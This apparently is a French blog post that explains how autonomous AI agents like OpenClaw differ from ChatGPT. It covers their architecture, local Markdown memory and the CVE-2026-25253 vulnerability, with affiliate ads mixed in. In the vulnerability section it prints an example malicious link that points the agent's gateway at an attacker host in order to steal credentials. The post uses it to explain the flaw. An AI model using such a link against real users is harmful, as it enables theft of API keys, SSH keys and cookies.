OpenClaw vs ChatGPT : comprendre les agents IA autonomes dès les premiers principes

En janvier 2026, mon fil d’actualité a été envahi par OpenClaw. 100 000+ étoiles GitHub en 3 jours, des titres « la révolution IA est là » partout. Ma première réaction : « Encore un ChatGPT qui tourne en local, sans doute ? Données locales, pas de fuite de vie privée, pas mal. »

Début février, une alerte de sécurité : CVE-2026-25253, score CVSS 10 (maximum). Concrètement ? Un seul clic sur un lien malveillant suffit pour que OpenClaw soit entièrement compromis — l’attaquant peut lire vos fichiers racine, récupérer vos clés API, fouiller l’historique de votre navigateur.

J’étais sidéré. Impossible avec ChatGPT. Pourtant, les deux sont des IA — pourquoi OpenClaw peut exécuter des commandes Shell, lire/écrire des fichiers et contrôler le navigateur, alors que ChatGPT se contente de générer du texte ?

Ce soir-là, j’ai passé des heures dans le dépôt GitHub et la documentation technique d’OpenClaw. J’ai enfin compris. Beaucoup de monde (moi y compris) avait tort dès le départ — OpenClaw n’est pas du tout un « ChatGPT local ». C’est une espèce différente : un agent IA autonome (Autonomous AI Agent).

Cet article explique ce qu’est vraiment l’« autonomie ». En partant des premiers principes, nous décomposons la différence essentielle entre OpenClaw et ChatGPT. Si vous vous demandez quand utiliser une IA conversationnelle et quand un agent IA, ce texte devrait vous aider.

Guide low-cost « élevage de homard » : ArkClaw démocratise les agents IA

OpenClaw (le homard) est puissant mais la configuration rebute ? ArkClaw de ByteDance Volcano Engine abaisse la barrière au minimum. Sans serveur ni configuration de tokens : un « assistant IA 24h/24 » capable de contrôler le navigateur, exécuter des scripts et gérer l’agenda, en un clic.

Le prix est réellement bas : 9,9 ¥/mois ; avec mon code d’invitation ZLKUK54M (inscrivez-vous ici), seulement 8,9 ¥. Développeurs : le plan Coding Plan Pro inclut l’offre gratuitement.

Premiers principes : qu’est-ce que l’« autonomie » ?

Revenons aux définitions. ChatGPT est une IA conversationnelle (Conversational AI), OpenClaw un agent IA autonome (Autonomous AI Agent). Les termes se ressemblent, la réalité est très différente.

Prenons un cas concret. Votre bureau est encombré de fichiers, vous voulez ranger.

Avec ChatGPT : « Aide-moi à ranger les fichiers du bureau. »

ChatGPT répond :

« Bien sûr ! Voici comment procéder :

1. Créez des dossiers : Photos, Documents, Téléchargements
2. Déplacez les fichiers correspondants
3. Supprimez les fichiers temporaires inutiles
   Voulez-vous des commandes précises ? »

Remarquez : ce ne sont que des suggestions. Vous devez ouvrir l’explorateur, créer les dossiers, glisser-déposer vous-même.

Avec OpenClaw, la même demande :

Il exécute directement :

ls ~/Desktop
mkdir ~/Desktop/photos ~/Desktop/docs ~/Desktop/downloads
mv ~/Desktop/*.jpg ~/Desktop/photos
mv ~/Desktop/*.pdf ~/Desktop/docs

Votre bureau est réellement rangé.

La différence ? ChatGPT parle, OpenClaw agit.

Trois écarts fondamentaux :

KiloClaw - OpenClaw managé pour l’entreprise : orchestration d’agents IA et routage intelligent

Commencer →Pub

1. Entrées et sorties

• ChatGPT : texte → texte (vous posez une question, il répond)
• OpenClaw : intention → opération (vous exprimez un besoin, il enchaîne les actions)

2. Environnement d’exécution

• ChatGPT : bac à sable cloud (serveurs OpenAI, environnement virtuel isolé)
• OpenClaw : votre machine locale (s’exécute directement sur votre ordinateur, permissions système complètes)

3. Modèle de permissions

• ChatGPT : zéro permission système (il ne voit même pas votre système de fichiers)
• OpenClaw : permissions complètes (système de fichiers, Shell, contrôle du navigateur)

En résumé, ChatGPT est un conseiller qui propose des idées ; OpenClaw un assistant qui travaille. C’est le cœur de l’« autonomie » — pouvoir agir de façon autonome, pas seulement conseiller.

IA conversationnelle vs IA actionnelle — où sont les limites ?

Comprendre l’autonomie, c’est aussi situer les frontières de capacité.

Les limites de ChatGPT

ChatGPT excelle en compréhension du langage naturel, génération de texte et dialogue contextuel. Demandez « comment faire du porc braisé », il détaille les étapes ; demandez un e-mail, il le rédige correctement.

Mais chaque interaction reste un appel API isolé. Vous envoyez un message, il répond, c’est fini. La prochaine fois, il ne se souvient pas — sauf avec la fonction Memory payante, ou si vous lui renvoyiez tout l’historique.

ChatGPT propose aussi des Plugins et des GPTs pour appeler des API externes. « Quel temps fait-il ? » → appel météo. Mais c’est toujours du requête-réponse. Il ne surveille pas la météo ni ne vous prévient avant la pluie.

Les limites d’OpenClaw

OpenClaw va beaucoup plus loin :

• Exécution Shell : bash/zsh/PowerShell
• Lecture/écriture fichiers : lire, éditer, créer, supprimer
• Contrôle navigateur : via Chrome DevTools Protocol (CDP) — clics, formulaires, captures
• Routage multi-plateformes : WhatsApp, Telegram, Discord, Slack, Signal, iMessage et plus de 14 plateformes

Et surtout, il a de l’autonomie. Exemple :

J’ai demandé à OpenClaw « chaque matin à 9 h, vérifie les nouveaux issues GitHub et envoie-moi une notification Telegram ». Il l’a fait — tâche planifiée, vérification quotidienne, notification à chaque nouvel issue.

Impossible avec ChatGPT, qui ne peut qu’attendre passivement vos requêtes.

Peu connu : OpenClaw a une mémoire persistante. Il crée des fichiers Markdown locaux (memory/YYYY-MM-DD.md) pour enregistrer conversations et opérations. Demandez « où est le script Python de la semaine dernière ? », il consulte l’historique. Mémoire inter-sessions, sans répéter le contexte à chaque fois.

En bref : ChatGPT est un partenaire de dialogue érudit ; OpenClaw un assistant qui agit. L’un pense, l’autre exécute.

L’architecture en trois couches d’OpenClaw — comment « agir » ?

Comment OpenClaw réalise-t-il tout cela ? Son architecture est élégante, en trois niveaux.

Couche 1 : Gateway (plan de contrôle)

Le « cerveau » d’OpenClaw. Basé sur Node.js, il tourne en local, lié par défaut au loopback (127.0.0.1) — accès réservé à vous. Pour un contrôle distant : Tailscale ou SSH.

Le cœur est une architecture WebSocket qui gère clients, outils et événements. Un message Telegram arrive, le Gateway décide quel outil appeler et quoi renvoyer.

Mécanisme de sécurité « politique de pairing DM » (dmPolicy="pairing") : un expéditeur inconnu ne déclenche pas d’exécution directe — un code de pairing est exigé.

Couche 2 : Channel (routage des messages)

Le « système nerveux ». Plus de 14 plateformes : WhatsApp, Telegram, Discord, Slack, Signal, iMessage, etc. Commandes sur Telegram, questions sur Discord.

Isolation des sessions :

• Session main : dialogue direct avec OpenClaw
• Sessions group : mode groupe isolé

Dans un groupe pro, @OpenClaw pour une recherche n’interfère pas avec votre conversation privée.

Alibaba Cloud - Choix n°1 des développeurs, 15 % de réduction exclusive sur Lighthouse

Obtenir -15 % →Pub

Couche 3 : LLM (moteur de raisonnement)

La « capacité de réflexion ». OpenClaw n’est lié à aucun modèle : Claude Opus 4.5, GPT-4, ou modèles locaux via Ollama.

Point clé : Tool Calling / Function Calling. « Range mon bureau » → le LLM comprend l’intention et appelle l’outil bash avec mkdir, mv. Automatique, sans spécification manuelle.

ChatGPT supporte aussi Function Calling, mais seulement pour des API prédéfinies. OpenClaw appelle n’importe quelle commande Shell, n’importe quelle opération fichier — la vraie autonomie.

Trois couches combinées : d’une IA qui « discute » à une IA qui « travaille ».

Mémoire persistante — pourquoi OpenClaw « se souvient » de vous ?

La mémoire persistante d’OpenClaw repose sur une philosophie « file-first » (File-First) — un peu rétro, très pratique.

Deux niveaux de mémoire

1. Mémoire éphémère (Ephemeral Memory) : un Markdown par jour, memory/YYYY-MM-DD.md. Toutes les conversations et opérations du jour y sont consignées.

2. Mémoire durable (Durable Memory) : fichier MEMORY.md, comme une base de connaissances. Infos importantes, commandes fréquentes, configs projet — OpenClaw le consulte en priorité.

Exemple : la semaine dernière, OpenClaw m’a écrit un scraper Python dans ~/scripts/scraper.py. Aujourd’hui, « où est ce script ? » → il ouvre memory/2026-02-01.md et donne le chemin.

Avantage : transparence totale. Ouvrez le Markdown pour voir ce qu’OpenClaw retient. Contrairement à Memory de ChatGPT, caché dans le cloud.

Ces fichiers vous appartiennent : édition, sauvegarde, Git. Chaque vendredi, je pousse MEMORY.md vers un dépôt privé — si OpenClaw tombe en panne, la mémoire reste.

Comparaison avec la mémoire de ChatGPT

ChatGPT a Memory (abonnement payant) : préférences et habitudes dans le cloud. Pas de lecture ni d’édition directe — seulement demander à « oublier » via le dialogue.

OpenClaw inverse la logique : mémoire locale, format Markdown, contrôle total. Oublier une conversation ? Supprimez les lignes. Nouvelle info ? Écrivez dans MEMORY.md.

Je préfère cette approche. La mémoire de l’IA doit être mon actif, pas verrouillée sur un serveur distant.

Pourquoi CVE-2026-25253 sur OpenClaw ?

Revenons à la vulnérabilité du début. CVSS 10 — niveau maximal. Après analyse, la cause devient claire.

Quelle est la nature de la faille ?

OpenClaw permet de spécifier gatewayUrl via une URL, puis établit automatiquement une connexion WebSocket. Exemple de lien :

openclaw://connect?gatewayUrl=ws://attacker.com:8080

OpenClaw se connecte directement et transmet vos identifiants d’authentification — sans confirmation utilisateur.

Que peut récupérer l’attaquant ?

• Fichiers racine (clés SSH, configs)
• Clés API (OpenAI, Claude, etc.)
• Historique navigateur et cookies

En pratique, tout ce qu’OpenClaw peut toucher sur votre machine, l’attaquant aussi. D’où le score 10 — exécution de code à distance (RCE) complète.

La version du 29 janvier 2026 corrige le problème : une fenêtre demande « Confirmez-vous la connexion à ce Gateway inconnu ? »

Pourquoi ChatGPT n’a pas ce type de faille ?

ChatGPT ne peut pas avoir cette vulnérabilité : aucune permission d’exécution locale.

Il tourne sur les serveurs cloud d’OpenAI, chaque dialogue dans un bac à sable isolé. Question → texte → réponse. Pas de système de fichiers, pas de navigateur, pas de clés API locales.

Railway - Plateforme de déploiement moderne, sans opérations complexes, en ligne en quelques minutes

Commencer →Pub

OpenClaw tourne en local avec permissions complètes. Condition pour « travailler », mais aussi source de risque.

Le compromis : autonomie (Autonomy) = haute capacité + haut risque.

Un assistant qui range vos fichiers, exécute des scripts et contrôle le navigateur ? Vous acceptez les permissions système. Plus de pouvoir, plus de responsabilité — et impact de faille plus grand.

Ce n’est pas dire qu’OpenClaw est intrinsèquement dangereux. Pairing DM, Gateway en loopback, etc. existent déjà. Mais tout logiciel avec permissions système peut être attaqué — OpenClaw, extensions VSCode, extensions navigateur.

L’essentiel : savoir ce que vous utilisez et où sont les risques.

Quel outil pour quel scénario ? Guide de choix

Question pratique : ChatGPT ou OpenClaw ?

Quand ChatGPT suffit

1. Information rapide : documentation, questions, explications. Base de connaissances large, réponses stables.

2. Génération de contenu : e-mails, copywriting, traduction. Point fort de ChatGPT — rapide et fiable.

3. Brainstorming : idées, plans, conseils. Vous voulez un partenaire de dialogue, pas un exécuteur.

4. Exigences de sécurité élevées : réseau d’entreprise, données sensibles — le bac à sable cloud isole vos fichiers locaux.

En bref : réfléchir sans exécuter → ChatGPT.

Quand OpenClaw apporte sa valeur

1. Automatisation répétitive : fichiers en lot, vérifications planifiées, rapports. Scripts et cron sans intervention manuelle.

2. Intégration multi-plateformes : commande Telegram → notification Discord ; Slack → WhatsApp.

3. Contexte persistant : projet long terme, détails, décisions passées, structure de code — mémoire locale inter-sessions.

4. Automatisation navigateur : tests, captures, formulaires via CDP.

5. Données locales prioritaires : pas de cloud, fichiers et outils locaux.

En bref : faire, et refaire → OpenClaw.

Mon usage personnel

• Consultations quotidiennes : ChatGPT — questions techniques, documentation, plans.
• Revue de code : ChatGPT — coller le code, obtenir des retours.
• Tâches automatisées : OpenClaw — issues GitHub le matin, dossier Téléchargements, sauvegarde de notes.
• Collaboration projet : OpenClaw — structure des projets, commandes, configs d’environnement.

Les deux outils se complètent. ChatGPT est le « conseiller », OpenClaw l’« assistant ». Le conseiller clarifie quoi faire ; l’assistant le fait.

Conclusion

En écrivant cet article, une question revenait : où va l’évolution de l’IA ?

De ChatGPT à OpenClaw, ce n’est pas qu’une itération technique — c’est l’élargissement des frontières. ChatGPT a appris à « parler », OpenClaw à « agir ».

Mais cette évolution a un prix. L’autonomie apporte capacité et risque. CVE-2026-25253 le rappelle : avec des permissions système, l’IA peut être un assistant précieux ou une porte d’entrée pour un attaquant.

Comprendre OpenClaw vs ChatGPT, c’est comprendre dialogue vs action, conseil vs exécution, cloud vs local.

Ne considérez plus OpenClaw comme un « ChatGPT local ». C’est une espèce nouvelle — un agent IA autonome. Sa valeur n’est pas de discuter, mais d’agir.

Conseiller pour réfléchir, ou assistant pour exécuter ? La réponse à cette question indique le bon choix.